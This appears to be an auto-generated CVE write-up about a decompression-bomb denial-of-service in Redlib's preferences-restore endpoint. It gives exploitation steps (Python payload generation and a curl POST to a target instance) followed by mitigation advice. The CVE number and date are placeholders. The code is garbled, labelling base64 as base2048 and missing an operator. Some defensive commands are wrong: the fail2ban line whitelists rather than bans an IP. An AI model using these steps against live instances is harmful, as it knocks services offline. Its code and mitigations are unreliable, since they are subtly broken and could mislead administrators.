Redlib, Denial-of-Service (DoS), CVE-2023-XXXXX (Critical)

How the CVE Works:

The vulnerability in Redlib (CVE-2023-XXXXX) allows an attacker to exploit the `restore_preferences` form by submitting a specially crafted base2048-encoded DEFLATE decompression bomb. When the server processes this payload, it decompresses the data without enforcing size limits, leading to excessive memory consumption. This results in out-of-memory (OOM) conditions, system instability, or crashes, effectively causing a denial-of-service (DoS) attack. The vulnerability was introduced in commit `2e95e1fc6e2064ccfae87964b4860bda55eddb9a` and patched in commit 15147cea8e42f6569a11603d661d71122f6a02dc. Attackers can repeatedly exploit this flaw to keep the target system in a degraded state, impacting all public Redlib instances.

DailyCVE Form:

Platform: Redlib
Version: < v0.36.0
Vulnerability: Decompression Bomb
Severity: Critical
Date: 2023-XX-XX

What Undercode Say:

Exploitation:

1. Crafting Payload:

Use tools like `zlib` or `DEFLATE` libraries to create a base2048-encoded decompression bomb.

Example Python code to generate a malicious payload:

import zlib
import base64
Create a large dummy data
dummy_data = b"A" 1000000
compressed_data = zlib.compress(dummy_data)
Encode in base2048
encoded_payload = base64.b64encode(compressed_data)
print(encoded_payload)

2. Sending Payload:

Use `curl` or a script to send the payload to the `restore_preferences` endpoint:

curl -X POST http://target-redlib-instance/settings/encoded-restore -d "preferences=$(cat payload.txt)"

3. Monitoring Impact:

Observe server logs for memory spikes or crashes.
Use tools like `htop` or `dmesg` to monitor system resource usage.

Protection:

1. Patch Installation:

Upgrade to Redlib v0.36.0 or later.
Apply the patch from commit 15147cea8e42f6569a11603d661d71122f6a02dc.

2. Request Size Limitation:

Configure web servers (e.g., Nginx, Apache) to limit request sizes:
```
http {
client_max_body_size 10M;
}
```

3. Endpoint Restriction:

Disable or restrict access to `/settings/encoded-restore` if not required:
```
location /settings/encoded-restore {
deny all;
}
```

4. Monitoring and Blocking:

Use tools like Fail2Ban to block IPs sending large or repeated requests:
```
fail2ban-client set redlib-ban addignoreip 192.168.1.1
```

5. Log Analysis:

Regularly monitor logs for unusual activity:

tail -f /var/log/redlib/access.log | grep "/settings/encoded-restore"

6. Resource Limits:

Set memory limits for the Redlib process using systemd:
```
[bash]
MemoryMax=512M
```
By following these steps, administrators can mitigate the risk of exploitation and ensure system stability.

References:

Reported By: https://github.com/advisories/GHSA-g8vq-v3mg-7mrg
Extra Source Hub:
Undercode

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